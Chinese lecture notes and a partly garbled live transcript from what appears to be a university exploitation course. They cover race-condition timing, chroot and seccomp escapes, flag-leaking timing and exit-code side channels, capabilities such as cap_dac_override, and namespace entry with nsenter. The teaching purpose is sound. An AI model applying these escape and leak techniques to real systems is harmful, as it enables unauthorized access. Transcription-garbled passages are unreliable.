上一节我们介绍了竞态条件的核心概念,本节中我们来看看为什么单纯追求速度可能无效。
想象一个简单的“检查时间-使用时间”场景:程序检查一个标志是否为真,如果是,则稍后使用它。攻击者的目标是让检查时为真,而使用时为假。
- 理想情况:攻击代码完美同步,在检查后立即将标志从真翻转为假。
- 仅追求速度:如果攻击代码只是非常快地来回翻转标志(真->假->真->假...),但翻转的节奏与程序的检查/使用节奏完全同步,那么检查时可能恰好是假,使用时可能恰好是真,导致攻击失败。
- 调整节奏:有时,在攻击代码开始时加入一个短暂的随机延迟(
sleep(random_amount)),稍微改变攻击的启动时间点,反而可能让翻转动作与程序的脆弱时间窗口对齐。




因此,赢得竞态的关键在于时机和节奏的把握,而不仅仅是执行速度。你需要让你的状态变化“击中”程序检查和使用这两个特定的时间点。
并行化的正确使用

既然速度不是唯一答案,那么使用多线程或多进程进行并行攻击是否有效呢?答案取决于如何使用。
以下是并行化的两种思路:
- 错误的并行化:创建多个线程或进程,但让它们都执行完全相同的任务(例如,都快速循环翻转同一个标志)。这就像一支乐队里所有乐手都在同一时刻演奏同一个音符,并没有创造出更丰富的“音乐”(即状态变化序列),对提高成功率帮助有限。
- 正确的并行化:创建多个线程或进程,并让它们执行不同的任务或具有不同时序的相同任务。例如,一个进程负责将标志设为“真”,另一个进程负责将其设为“假”,并且它们以略有偏移的节奏运行。这就像乐队中有鼓手、贝斯手和吉他手,他们演奏不同的音符和节奏,共同创造出复杂多变的声音。这样能显著增加共享资源状态在关键时间点恰好是攻击者所需值的概率。
通过引入具有不同行为的并行执行流,你可以创造更密集、更多样的状态变化,从而增加“命中”目标时间窗口的机会。

语言选择与性能考量
在编写利用代码时,语言选择是一个常见问题。许多人认为C语言最快,因此是唯一选择。但实际情况更为复杂。




我们通过一个简单的测试来比较不同语言执行相同操作(创建和删除符号链接)的性能:
# Bash 脚本示例
ln -s /tmp/A /tmp/B
rm /tmp/B


# C 程序示例(调用系统调用)
symlink(“/tmp/B”, “/tmp/A”);
unlink(“/tmp/B”);
# Python 程序示例
import os
os.symlink(“/tmp/B”, “/tmp/A”)
os.unlink(“/tmp/B”)


单次执行结果分析:
- C语言:直接编译为机器码,系统调用开销极小,用户态时间最短。
- Bash脚本:需要启动子进程来执行
ln和rm命令,这些命令本身是C编译的二进制文件。主要开销在于进程创建。 - Python脚本:需要启动Python解释器,导入
os模块,解释字节码,然后通过解释器内部的C代码调用系统调用。主要开销在于解释器启动和初始化。
因此,单次运行时,C最快,Bash次之,Python最慢。
循环执行(例如1000次)结果分析:
- Python:启动解释器的开销只支付一次,后续循环只是在解释器内部快速调用系统调用,总时间可能变得很有竞争力。
- Bash:每次循环都需要创建新的子进程,进程创建的开销会累积,可能变得较慢。
- C:依然保持最快。
结论:语言性能特征很重要,但需要结合具体场景理解。对于竞态条件利用,通常需要循环或并行运行攻击代码。Python虽然启动慢,但一旦运行起来,在循环中可能足够快,且编写和调试更便捷。Bash的进程创建开销在需要大量并行时可能成为瓶颈。C语言性能最好,但开发效率较低。选择哪种语言取决于你对性能瓶颈的理解和开发效率的权衡。


关于Python线程的注意事项:由于全局解释器锁的存在,CPython的多线程并不能实现真正的并行执行(多个线程无法同时执行Python字节码)。对于需要真并行的竞态攻击,建议使用multiprocessing模块(多进程)或subprocess调用外部程序,而不是threading模块。
调试竞态条件
调试竞态条件非常困难,因为它们依赖于难以复现的精确时序。传统的单步调试器(如GDB)通常不是最佳工具,因为你需要在多个进程间同步断点并控制执行流,这极其复杂且容易破坏原有的竞态条件。
更有效的方法是:
- 理解概念:建立对程序逻辑、共享资源以及检查/使用时间点的清晰概念模型。
- 增加可观测性:在攻击代码和/或目标程序中添加日志输出,记录关键事件(如“检查开始”、“检查结束”、“使用开始”、“状态改变”等)。通过分析日志来推断发生了什么。
- 使用统计和重复:由于一次尝试可能失败,编写利用代码使其自动重复尝试成千上万次,并统计成功次数。通过调整参数(如延迟、并行度)观察成功率变化。
- 简化与放大:如果可能,尝试让目标程序的操作变慢(例如,在文件路径中插入大量
/,或使用nice降低优先级),以扩大攻击窗口,但这在真实攻击中往往不可行。

培养对竞态条件的“直觉”和基于对代码的理解进行推理的能力,比依赖调试器更为重要。

总结
本节课中我们一起学习了竞态条件,特别是“检查时间-使用时间”漏洞。我们了解到,成功的利用关键在于把握状态变化的时机和节奏,而非单纯追求代码执行速度。正确使用并行化(让不同执行流执行不同任务)可以显著提高成功率。在选择实现语言时,需要权衡性能特征和开发效率,Python在多数场景下是足够且高效的选择。最后,我们认识到调试竞态条件极具挑战性,依赖于概念理解、日志分析和统计方法,而非传统调试技术。


通过掌握这些核心思想,你将能够更有效地分析和利用竞态条件漏洞。
21:沙箱逃逸


概述
在本节课中,我们将学习沙箱逃逸(Sandbox Escapes)这一主题。沙箱是一种安全机制,用于隔离运行程序,限制其对系统资源的访问。然而,攻击者有时能找到方法“逃出”沙箱的限制。我们将探讨几种关键的沙箱技术,包括 chroot、seccomp 和命名空间,并了解如何利用它们的设计特性或绕过其限制。




沙箱技术核心概念
上一节我们概述了沙箱逃逸,本节中我们来看看构成沙箱的几种核心隔离技术。
Chroot:改变根目录
chroot 是一个系统调用,其核心功能是改变进程及其子进程的根目录(/)。这意味着进程将无法访问新根目录之外的任何文件路径。
公式/代码描述:
int chroot(const char *path); // 系统调用,将根目录更改为 `path`

然而,仅仅调用 chroot 并不足以创建完整的“监狱”(jail)。你通常还需要使用 chdir(“/”) 将当前工作目录切换到新的根目录下,否则进程可能仍能通过相对路径访问外部文件。
更重要的是,文件描述符(File Descriptors)提供了一种逃逸途径。如果在调用 chroot 之前打开了一个文件(例如 /etc/passwd),那么即使之后根目录被改变,进程仍然可以通过这个已经打开的文件描述符访问该文件。内核的文件访问检查发生在 open 调用时,而不是后续的读写操作时。


Seccomp:系统调用过滤

seccomp(secure computing mode)是 Linux 内核的一个功能,用于限制进程可以执行的系统调用。这能极大减少攻击面。
公式/代码描述:
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter); // 设置 seccomp 过滤器
seccomp 的工作原理是在内核中维护一个允许的系统调用列表(过滤器)。当进程执行一个系统调用(如通过 syscall 指令)时,内核会检查其系统调用号(存储在 RAX 寄存器中)是否在允许列表中。如果不在,进程通常会收到 SIGSYS 信号并被终止。



绕过 seccomp 的一种可能方法是利用程序漏洞,在过滤器生效前篡改其规则(例如,通过内存破坏漏洞)。另一种思路是寻找未被过滤的、功能相近的系统调用来达到目的。
命名空间(Namespaces)


命名空间是 Linux 内核更强大的隔离机制,可以为进程提供独立的网络、进程ID、挂载点等视图。Docker 等容器技术就基于此实现。
虽然本节课没有深入代码细节,但其核心思想是为进程组创建独立的系统资源实例,使其与主机和其他容器隔离开来。
侧信道攻击:在不被察觉的情况下泄露信息


上一节我们介绍了如何通过文件描述符绕过 chroot,本节中我们来看看当直接输出被禁止时,如何利用侧信道(Side Channel)泄露信息。





侧信道攻击不直接读取受保护的数据,而是通过观察程序行为(如执行时间、错误代码、资源使用情况)的细微差异来推断信息。
以下是几种常见的侧信道技术:
1. 退出码(Exit Codes)


程序结束时必须返回一个退出码。我们可以利用这个机制来传递信息。
示例:
// 一个简单的程序,其退出码等于传入的参数个数
int main(int argc, char *argv[]) {
return argc;
}
通过检查进程的退出码(例如在 Bash 中用 $?,在 Python 的 pwntools 中用 process.poll()),攻击者可以获取一个有限范围内的整数值。
2. 睡眠时间(Sleep Timing)
通过控制程序睡眠的时长来编码信息。例如,让程序根据某个秘密字节的值睡眠相应的秒数。
示例思路:
sleep(secret_byte_value); // 睡眠秒数等于秘密字节的值
外部攻击者通过测量程序的运行总时间,可以推断出 secret_byte_value。为了提高精度和减少时间,可以使用 nanosleep 来指定纳秒级的睡眠。
3. 条件分支与二分搜索
最有效的侧信道往往只泄露一个比特(bit)的信息:程序是否执行了某条特定路径。我们可以利用这一点,结合二分搜索算法,高效地逐位泄露数据。
核心思想:
- 构造一个条件判断,例如
if (secret_byte > guess)。 - 如果条件为真,让程序执行一个可被外部观测的“慢操作”(如睡眠一小段时间)。
- 如果条件为假,程序快速执行。
- 攻击者根据程序总体运行时间是“长”还是“短”,就能判断条件是否成立(泄露1比特信息)。
- 对字节值的可能范围(0-255)进行二分搜索,只需约
log2(256) = 8次猜测就能确定一个字节的值,而不是暴力尝试256次。
简化示例:
// 假设 secret_byte 是我们要泄露的字节
if (secret_byte == our_guess) {
nanosleep(&long_time, NULL); // 匹配时睡眠
}
// 不匹配时什么也不做
通过外部计时,攻击者可以判断 our_guess 是否等于 secret_byte。重复此过程并对所有字节进行二分搜索,即可高效地泄露整个秘密(如 flag)。
这种方法的关键在于找到一种稳定且可被外部区分的“慢操作”,即使在限制严格的沙箱中(可能无法使用 sleep),也需要发挥创造性。
总结


本节课中我们一起学习了沙箱逃逸的基本概念。我们首先了解了 chroot、seccomp 和命名空间这三种核心的沙箱隔离技术,并探讨了它们潜在的绕过方法,例如利用预先打开的文件描述符。接着,我们深入研究了侧信道攻击,学习了如何通过退出码、程序执行时间等间接渠道泄露信息,并重点掌握了利用条件分支和二分搜索算法进行高效数据泄露的原理。这些知识揭示了安全机制的设计复杂性以及攻击者思维的创造性,是理解现代系统安全攻防的重要基础。
22:沙盒与命名空间 🛡️

在本节课中,我们将学习沙盒(Sandboxing)和命名空间(Namespaces)的核心概念。这是实现进程隔离、构建容器(如Docker)的基础技术。我们将通过演示来理解如何创建隔离环境,以及如何利用或绕过这些隔离机制。

课程公告与后续安排 📢
我们按下了按钮,稍等片刻。看看另一边发生了什么。OBS今天能正常工作吗?抱歉我有点迟到了,课前我们闲聊了一会儿。我没有准备幻灯片,但我预先准备了一些演示内容。



首先,确保音频正常。好的,音频没问题。
除了讨论沙盒,我唯一要宣布的是,我之前提到可能在春季开设的课程现在确实要开设了。如果你对这类内容感兴趣并想继续深入学习,可以关注CSE 598高级软件利用课程。这门课在春季开设,列为每周三小时的三学分课程。它的形式与本课程非常相似,采用翻转课堂模式,我们一起探索。这是一门研究生课程,但如果你是本科生并且需要指导老师的许可,可以联系我,我会帮你与Adam沟通解决。在这门课中,你可能会经常在屏幕上看到他。



好了,我说过我没有幻灯片。


关于课程编号的说明 🏷️
有人问为什么所有课程都叫CSE 598。这是一个有趣的问题。从管理上讲,像CSE 466这样的课程有固定的课程代码,它们是大学课程设置中固定的一部分。当教师对某个特定主题特别感兴趣,想进行探索、尝试,或基于研究创建新课程时,这个过程通常包括试运行。这就像实验性的东西,可能成功,也可能失败,看看效果和学生兴趣如何。
有两个课程编号可用于此目的:CSE 494和CSE 598。CSE 494是本科水平的主题课程,用于新的、实验性的内容,可能只教一次。CSE 598是研究生水平的等效课程。对于许多网络安全课程,我们试图制定有趣且具有挑战性的课程。网络安全内容的一个普遍问题是需要大量的背景知识,你必须懂很多计算机科学知识才能开始讨论网络安全。因此,网络安全课程往往开得较晚(300或400级),然后你就毕业了。为了以合理的方式编码这些课程,对于软件利用这类主题,我们使用CSE 598这个通用主题课程编号。目前这将是它的第三次迭代,我们对它的发展方向和运作方式有了一些了解。



如果你是对此感兴趣的本科生,你应该能够选上,只需要一些文书工作。
回到沙盒主题 🔄
我们刚才在谈论沙盒。其他后勤问题,有人问下一个模块是什么。我们将进行内核相关内容。我不会更改内核的任何内容,你将得到现有的内核。但我会讨论我想添加的内容,只是不会添加涉及它们的挑战,因为如果我那样做,每次你在终端按回车都会有两秒的加载时间。
关于线程和命名空间的内容?我认为你不需要线程内容。问题:难的内核,简单的内核?这是简单的内核。你需要知道很多背景知识吗?这说得通,但我不知道你在那里具体指什么。
好的,我想我对你(Twitch)的问题回答完了。
演示:快速解决挑战 ⚡
那么问题是关于命名空间。我之前花了一点时间研究。我想完成我对第12关的解决方案。我有一个世界上最快的第12关解决方案,对吧?我现在没有了,因为我命名了所有东西为“不要pi并删除它”,这很不幸。但我有另一个,我不知道为什么我把它放在race文件夹里,但我确实放了。这是我工作的地方。这是我用C写的。这就是我的第12关解决方案有多快。不,这个实际上有点慢。因为在优化方案中,我喜欢这个我新写的,我知道我要追求的概念。但我去年的那个方案,我知道我现在为什么慢,我需要更多微调时间,真实时间是0.001秒。所以这完全可行。
额外的输出是因为我在调用write,我只是输出100字节的任意内容。但根据你如何构建侧信道,它可以非常快。如果有人好奇,这个方案没有使用任何多线程或多进程,这是挑战进程的一次启动。
所以如果我们用strace跟踪它,或者我们用strace -F -o,我们称之为out,然后运行。我的strace命令有问题,我需要sudo。sudo su,然后strace -f -o out。然后我们grep这个东西。为什么没工作?现在它根本不工作了,我做了什么?我想我硬编码了文件描述符,这 somehow 破坏了这里。真遗憾。我怎么暂停这个?好吧,你得相信我,因为我不想看源码,但fork在我的C代码里只被调用了一次。哦,我知道我能做什么了。你看到我编译它了吗?不,因为你仍然不知道我调用了fork,而且只有一个fork。好吧,有一个fork。挑战进程启动一次,其他一切都是侧信道。所以,根据你想变得多聪明,关键是你可以获得超级疯狂的速度。
如果你好奇这是如何工作的,你可以私下问我,我会展示。因为我认为这很酷。我会讨论这个技术及其工作原理。


演示:构建Chroot Jail 🏰
我们还有另一个问题,对吧?昨天(感觉像昨天,但不是)我在那里尝试使用chroot,但事情就是不工作。我就像,好吧,我需要编译一个像hello world的东西,并且需要静态编译,然后Gcc不高兴,我们得到了这个,然后上半节课就偏离了轨道。


这是一个Dojo异常。看,那个编译了。在一个正常的Linux系统上,你可以做我尝试做的事情,就像使用它一样。问题是什么?是因为/bin被符号链接到/user/bin吗?答案是否定的,那里的兔子洞非常非常深,我们今天不会深入探讨。但关键是,我并没有错,这真的让我昨晚(或者说周二晚上)很困扰,我就像,为什么这不行?
所以你可以静态编译一些东西,我不需要静态编译这个。有人知道busybox是什么吗?是的,busybox是什么?busybox是一个单一二进制文件,你向它传递一个参数,它包含了你在系统上可能想要运行的大多数合理命令的精简版本。
现在,我在这里谈论busybox的原因是,我们将使用busybox制作一个看起来相当合理的chroot jail,而不是使用像/bin/bash这样的东西。
我已经编写了很多脚本,因为我知道我们会超时,如果我开始输入东西,事情会搞砸。所以我们来看看这里。
我将做一些与挑战非常相似的事情,但我在bash中做,而不是C。你也可以在Python中做同样的事情,我们在这里是语言无关的。所以我创建了/tmp/jail。我将busybox复制到该路径。然后我创建一些你可能熟悉的路径:/bin, /usr/bin, /sbin, /etc。然后我将运行那个chroot命令。所以我们将chroot到/tmp/jail,然后调用busybox --install。这做的是创建一大堆名为人们合理期望的busybox副本。
然后我们将chroot到其中并启动一个shell。所以你这样做。我现在在我的jail里。
事情表现得如人所料。我能出去吗?不能。为什么不能?我。
终端和某些东西刚刚过去了,所以你回到幻灯片。所以说法是,当我在终端上使用chroot时,它比我们使用原始进程调用时更聪明。终端chroot也在将我们的目录更改为那里,所以我实际上被困在这里了。
还有人正在研究chroot jail吗?我们的C3 jail挑战。像所有关卡,都在第13关。你在第11关。所以对于像10、11和13关的答案,但13关,我不认为它是chroot jail,所以这是个好迹象,如果你在那里,你已经在chroot内容的另一边了。
我要指出的那件事是,我周二提到的,像文件描述符这样的资源会流经。我们可以演示这一点,但如果每个人都在另一边,那就不重要了。当你到达像10、11、12关时,你做的不是像玩管道或玩文件描述符这样的玩具事情,而是做与侧信道相关的事情,这我们已经讨论过了。所以我认为你在那里状态很好,你同意吗?这只是投入工作的问题。是的,是的,好的。
命名空间挑战与虚拟机 🖥️
我们来看看。我这里有什么,开始看第13关。一个值得注意的事情,我想。哦不,13关是C3,我纠正一下。那是父子进程的那个,是的,那是它自己的恶作剧。所以第14关是第一个不是chroot jail的关卡。有人说chroot就像,我不认为chroot是相同的,chroot有很长的历史,可以追溯到BSD jails。可能比那更早,但这是我知道的最早的东西。
对于这些命名空间挑战,只是一些管理上的事情。如果我运行这个,我得到这个问题,你可能在其他地方没有注意到,因为我不认为我说过,所以除非你看到Yaun在做,否则你不会知道。为什么会发生这种情况?
我不知道,这是垃圾,对吧?这是我们的问题,我们可能应该添加一些说明。命名空间是支持Docker镜像的底层技术。你不需要知道这个,但你认为Dojo挑战环境是如何工作的?人们喜欢说它们是虚拟机,它们不是虚拟机。那是什么?Docker,是的,是的,当你SSH进入或在这里启动VS Code界面时,在Dojo上,这一切都发生在一个隔离的Docker容器中,只是呈现给你。那是你自己的Docker容器。
所以如果我们要编写挑战并让你玩转命名空间,给你这种权力。你认为让我们在你使用这些工具来防止你,比如说,把你的成绩设置为100%的同一个环境中这样做,是一个明智的想法吗?我们考虑过这一点,因此你不能在这里本地解决这些挑战。相反,你必须启动一个虚拟机。我们试图让这变得容易,所以有一个VM命令存在于你的dojo环境中。它接受一些参数,这里相关的是start、stop、connect,我也会用logs,我们需要日志。在内核模块中,我们不一定需要它们。
所以运行vm start,理论上,这会启动一个虚拟机。如果我们查看PS的输出,你会看到这个虚拟机。虚拟机就在这里,那是Team system。这是一个完整的虚拟机。如果我想连接到它,我建议你在其中一个窗格中启动一个tmux会话,运行vm connect。这个终端在虚拟机内部,这个在外面。在虚拟机内部,我可以运行这个挑战。在外面,用虚拟机,我不能grep这个作业。
关于虚拟机有什么问题吗?源代码里有检查,如果我没记错的话,它只是没有弹出来。所以可能有人向我指出了这一点,然后我 promptly 没有修复。所以在源代码中,它应该检测你是否在虚拟机中,然后通知你。但这些挑战这样做的方式是通过检查主机名。而主机名不符合这些硬编码的模式,因为这是一种检测你是否在虚拟机中的可怕方式。所以主机名被更改了,因此一些提示没有按你预期的那样出现。


还有一件类似的事情,我现在就把它说出来。如果你查看/opt/pwn.college/pwn.college/vm/vm,这是那个VM命令的实现。原来它是用Python写的,所以你完全可以理解它。可能成为问题的一件事是,当你调试时,它可能会告诉你没有权限。你可以直接把这个代码复制到你的主目录,编辑它并运行。你得到了什么?那里有一个奇怪的表情。所以当我运行vm时,我现在在虚拟机里吗?我运行了vm connect,这连接我进入这个虚拟机。如果我说是哪个虚拟机,你必须通过Dojo的魔法相信我,如果我们遵循这个路径,我们会到达/opt/pwn.college/pwn.college/vm/vm这个文件。所以如果我把它放在我的主目录,实际上什么都没有,或者我把它放在挑战目录。如果我把它放在主目录,我现在有了这个vm函数,对吧?我可以运行这个vm。显然,我不能。所以那是个谎言,你需要做的是以root身份就地编辑这个VM代码。所以你可以在这里做的一个命令是vm debug,一个可能仍然存在的问题是,这里曾经有一个检查看你是否是root,而这个检查会错误地失败。但现在看起来它工作了,所以这没什么大不了的。好吧,不管怎样。
所以我们在虚拟机内部,所有的挑战都必须在虚拟机上运行。是的,或者说所有的命名空间挑战,这是因为你在虚拟机内部做的一切都是自包含的,不会影响主机,所以你可以随心所欲地搞砸,不会弄坏任何东西。你仍然可以访问你的主目录和那里的一切。所以如果我回到我的race文件夹。你想谈谈命名空间吗?我能先谈谈别的吗?

能力(Capabilities) 💪
所以Johnall谈过能力吗?我不认为这甚至与挑战相关,但它应该没问题。所以,为什么root能cat标志?嗯,你会说,嗯,因为root拥有标志,对吧?但如果我把标志chown给hacker用户呢?root还能cat标志吗?我想,答案是可以,对吧?我们喜欢认为root是这个全能的,root可以做一切事情,这有点对,也不是一个坏的思考方式。但root不是唯一可以全能的。
这种忽略权限的能力是一种能力。现在root恰好有很多能力。如果我们查看能力的手册页,你会看到有很多能力,它们规定了用户可以做的非常具体的事情。一个例子是cat某些东西或访问你通常没有权限的文件,就是这个东西,CAP_DAC_OVERRIDE。root恰好有这个权限。
所以如果我制作一个像这样的二进制文件,打开标志,然后我们将发送文件。这应该不行,你同意吗?让我们把a.out改名为b.out。让我们gcc do.c,实际上,我显然不会写代码。嗯。然后gcc do.c。如果我们运行这个东西,我们得到失败。嗯。这是你所期望的,因为这是由hacker用户拥有的,而我是hacker用户。
现在有一个命令,setcap。看看我是否记得怎么用这个,setcap,我想要的是cap_dac_override。我想让它成为。我们将把它设置在a.out上。好吧,现在这是个问题,因为我在。我不是root,如果hacker用户可以说我想要这个二进制文件覆盖并忽略文件权限,那就太傻了,对吧?所以你说,哦,我需要是root。好吧,这次它也会对我大喊大叫,因为文件系统。如果我们查看挂载方式,/home/hacker的挂载方式使得我们不能做这类恶作剧。
所以让我们把我的a.out移到/tmp,那里我们没有这样的限制。好吧,我现在的说法是,我已经授予了(我必须使用sudo),但我已经在这个二进制文件上设置了能力,使得这个二进制文件可以忽略文件权限。它是由root拥有的吗?它设置了setuid吗?好吧,让我们看看我是否做对了。它工作了。
所以实际上有这个,和能力,它们有点新,对于Linux来说,我要说它们是新的,因为Linux是,是的,一个缓慢而有条理的野兽。所以你不必是root才能拥有一个可能看起来全能的权限。一个例子是,也许我需要一个用户拥有的进程来监听一个低编号的端口。对于网络新手,我认为任何低于1024的端口号都需要root权限。我说得对吗?我想是1024。你说什么?他们改了?纽约时报头版,你突然可以做了。所以有一个能力可以分配给一个二进制文件,允许一个二进制文件这样做。同样,有一个能力可以与原始套接字交互。你有没有运行过tcpdump或wireshark?要与原始网络数据交互,通常你需要是root。但你可以是一个用户或一个进程,或者运行一个具有与原始网络数据交互能力的程序,然后你就像一个例外。所以实际上有这种更细粒度的控制,控制一个进程或用户获得什么样的提升权限,你可以玩玩这个。
现在,我要提到的最后一个。希望这个在这里。好吧,我不知道为什么我第一次没找到,是CAP_SYS_ADMIN,这几乎是所有事情的权限。所以当我们说为什么root能忽略标志,那是因为root是CAP_SYS_ADMIN,它有管理员的能力,这就是root用户所做的。
现在能力不仅可以被启用,就像我启用了我的a.out去做一些它不能做的事情,能力也可以被禁用。当我们看命名空间时,我们会看到这一点。
命名空间与Docker 🐳
所以当我们想到Docker时,有两件事真正构成了Docker的全部。Yaun提到过这个,我想。有命名空间,这是我们考虑的大部分,那就是隔离或欺骗一个运行中的进程。内核只是,你问内核,嘿,/home/hacker里有什么?如果你在不同的命名空间,内核说,啊,你不在名单上,我们只是要骗你。这就是命名空间,内核可以用很多不同的方式骗你。它可以骗你关于文件系统,可以骗你关于网络,可以骗你关于哪些进程在运行,等等。



支持Docker的另一件事是能力。如果你深入研究Docker的工作原理和一些,我想看手册,man docker,我们这里没有docker吗?我们没有。好吧,我们会有点刺激。我现在有一个可以连接的盒子吗?是的,但我不打算做。我只是在那里自我检查了一下,因为我知道如果我查看手册页,手册页会不同。但如果你查看docker的手册页,你会看到有一个安全选项。你可以添加的东西之一是能力。所以Docker只是一个非常结构化的方式来设置和运行隔离命名空间中的进程,然后启用或禁用能力。
资源限制?抱歉,比如进程数量,进程可以访问的东西,整个系统有64个访问权限,像4个?我的理解是资源实际上不是能力,那是命名空间的东西,实际上是一个更新的命名空间的东西,你不应该能做到,但是的,Docker所做的一切要么是命名空间的巧妙运用,要么是能力的巧妙运用。我只是认为能力没有得到足够的关注,好吧?手册,docker,rocker,我喜欢它。chroot是ram docker with him docker with him docker。是的,不要,不要,不要那样做。那里只有痛苦。

演示:创建网络命名空间 🌐
好了,现在我们可以开始命名空间的东西了。所以我在虚拟机内部。我再次使用bash,但你可以在C或Python或任何语言中做同样的事情。我在这里做的是创建一个网络命名空间。在这个上下文中,我们给我们的虚拟网络一个名字,所以我叫它demoNet。然后我执行,我希望这个接口在这个虚拟网络命名空间中启动,然后我将运行一个shell。没什么太疯狂的。那没工作,因为我没有运行sudo。
我需要更多窗口。让我们把所有东西都连接到虚拟机。你会自己掉进这个陷阱。当你不注意提示时,一个在虚拟机里,一个不在,你就会想,为什么这不行?在左手边,如果我在端口1337上监听,我没有做任何好的命名空间,对吧?我们只是在虚拟机里,然后我netcat localhost 1337,如果我说hello并按回车,会发生什么?对,我们在另一边看到了,很好,我们理解网络是什么。这是预期的。
如果我改为进入race并sudo。现在我要做同样的事情,netcat监听1337。这会到达那里吗?不是。不。因为它在自己独立的网络上。它完全与主机系统断开连接。现在,我可以。是的。打开另一个终端,它会给我一些麻烦,因为我试图做两次相同的事情,但我可以打开第二个终端。第二个进程进入同一个网络命名空间,其他一切都与主机相同,如果我在这里。我现在看到它了。对。
现在,你可以在虚拟机内部使用vm connect或tmux,但在我看来,那相当慢。所以我在那里做的一切都与netcat有关。如果我在虚拟机里。这个终端在虚拟机里。但它不在网络命名空间里。我能看到它吗?是的。好吧,抱歉,我能看到netcat吗?我想这是我的问题。是的。因为它在同一个主机里。
命名空间的层次结构与/proc文件系统 📁
现在,命名空间是分层的,这意味着如果我的主机系统想要列出所有的PID。我将看到我的命名空间中的所有PID和子命名空间中的所有PID。嗯。如果我们看看我们的好朋友/proc,我们见过/proc/self/fd,对吧?它向我们展示。在/proc内部有一个类似的东西,/proc/[pid]/ns,这是命名空间。就像文件描述符,我们通常认为它们是文件的句柄。有文件描述符是命名空间的句柄。所以如果我看。是的,这个PID是什么?334命名空间?不再是我了,所以它需要权限。我们看到什么不同了吗?我这里有什么,1835,1835,39,39,40,40。这不同吗,好吧?所以挂载命名空间不同。网络1992,那不同。
现在,这些命名空间句柄,就像文件描述符一样,你可以访问。现在。我想要什么?ns,我想man nsenter。我想要什么?秒。它是什么,是setns吗?是的。nsenter是终端命令。所以setns是一个系统调用,给定一个指向命名空间的文件描述符,允许你进入那个命名空间。所以这奇怪地类似于我们谈论chroot和文件描述符的时候。
所以逃离命名空间的一种方式是,如果 somehow 你已经持有一个指向另一个命名空间的文件描述符。你会想,嗯,我不能从我当前的命名空间内部逃到父命名空间,但如果你已经持有该资源,你可以。现在这通常与像nsenter这样的东西一起使用。所以如果我们再次,我现在就在主机命名空间里。我们ps aux并grep这里的netcat。我可以sudo nsenter,这是终端命令。我的目标,我想加入的进程是334,那是netcat监听端口的地方。我想加入网络命名空间,我想运行的命令是/bin/bash。
看起来什么都没发生,但现在我应该能够echo Hello world到localhost 1337。我是个骗子。为什么我是个骗子?哦。这里运行sudo,让我们在一个屏幕上完成所有操作。-t是PID,-n是网络。那没问题。然后我们传递命令,那应该工作。好吧,所以我们在虚拟机内部是root。我们再试一次。nsenter -t $(ps aux | grep netcat),然后-n,/bin/bash。我被bash踢出来了。那让我进去了吗?netcat会。-t应该是--target的简写。嗯。哦,那工作了。好了。
我不确定为什么之前那个没工作。我想我仍然有那个netcat绑定到这个套接字,但我们看到我不必再次运行我的shell脚本,对吧?我能够只用nsenter在命令行上做这个。nsenter在做什么?嗯,它正在做我刚刚在手册页里展示的setns。
其他命名空间与容器技术 📦
另一件你想要或会看到的事情是unshare。unshare的行为是分离并创建一个新的命名空间。这有点像我们fork然后exec,我们可以fork然后加入一个新的命名空间。所以你的笔记本只是新的命名空间?抱歉,所以你的笔记本只是花哨的命名空间?比如,你的笔记本。虚拟网络是花哨的命名空间。那是100%正确的,完全可以,你知道,不使用那个。但是的,如今,虚拟网络是花哨的命名空间。我们这里有什么?Docker,Docker,现场演示是最好的,当它们工作时现场演示是最好的。问题是它们一半时间不工作。
好了,除了网络命名空间,还有其他命名空间。问题是,当你深入探究所有可能存在的命名空间这个兔子洞时,事情变得越来越复杂。在这个模块的挑战中,Jan的视频实际上相当不错,因为他正在复制的东西,他做命名空间的事情,然后他调用,我想是pivot_root。pivot_root是一个可怕的命令,我自己从未正确运行过,我很高兴Jan做到了。Somehow 我调用了pivot_root并破坏了我的文件系统,这就是为什么你没有它的视频的部分原因,因为我不想在直播中再做一次。但Jan确实在你面前现场调用了pivot_root,设置了命名空间,然后pivot了root,让你完全在一个容器中运行。我相信Jan有。
实际上有人看完Jan的所有视频吗?Jan提到Bocker了吗?Bocker,哦,酷。我想提到它,但我不知道我是否会抢了他的风头。所以Docker本身真的没什么疯狂的,对吧?它都只是能力和命名空间。这个Github仓库是Docker在1000行bash中的实现。它叫做Bocker。取决于谈论编写整个docker文件C。什么,就像基因,整个docker文件确实谈论那个。所以是的,就像一个docker,一个docker文件,我的意思是你见过,我假设你见过Docker文件,对吧?它只是一个文本表示。所以Docker守护进程所做的是解释这些行,然后做一些系列的能力和命名空间的事情。Docker不像是什么超级秘密技术,这就是为什么有竞争的容器技术,对吧?它们都是实现命名空间和能力来隔离进程的不同方式。就像,我的意思是,Bocker,1000行bash,来吧,那很酷,对吧?
但这些命名空间会失控,然后它们开始相互之间有代码依赖。一个例子是,当你开始进入挂载、PID、用户命名空间时。所以你可以。我直接运行bash,我要用unshare。记住,unshare是分离并创建一个新的命名空间。所以我要分离并在一个新的用户命名空间中运行bash。是的。哦看,我是root。我能cat标志吗?好。你说呢啊。白块で。我能cat这个标志吗?对。我快啲到。你です。我。
所以这就是我说事情变得奇怪时的意思,因为记住一个命名空间真的只是,我把它想象成俱乐部的短名单,就像谁被允许知道真正发生了什么,谁能进入后台。我们进入了这个用户命名空间,我们 essentially 给了内核许可来骗我们。我以任何方式提升了我的权限吗?没有,我们只是编了一个新的用户列表,当前就像,是的,当然,兄弟,你是root。好吧,但当你尝试做一些root相关的事情时,它就像,不。当我说,好吧,那么谁拥有/home/hacker?我。我是root,这说得通吗?不,嗯,这里发生的是,当我做这些请求时,比如,这个用户是谁?它就像,是的,你真的是hacker,但我们只是要告诉你你是root,并编造这个名单。所以当你开始尝试用命名空间做复杂的事情时,事情变得非常混乱,非常快,因为你不知道你周围有什么主机,你不知道在这种情况下你的UID是什么,我们仍然有进程,但如果你曾经运行过一个docker,我可以在我的Mac上运行一个Docker容器,我想世界不会结束。嗯。Docker。Lychman说,嘿,只有两个进程在运行。那是因为有一个PID命名空间。那决定了内核会骗你关于哪些进程在运行。傻。
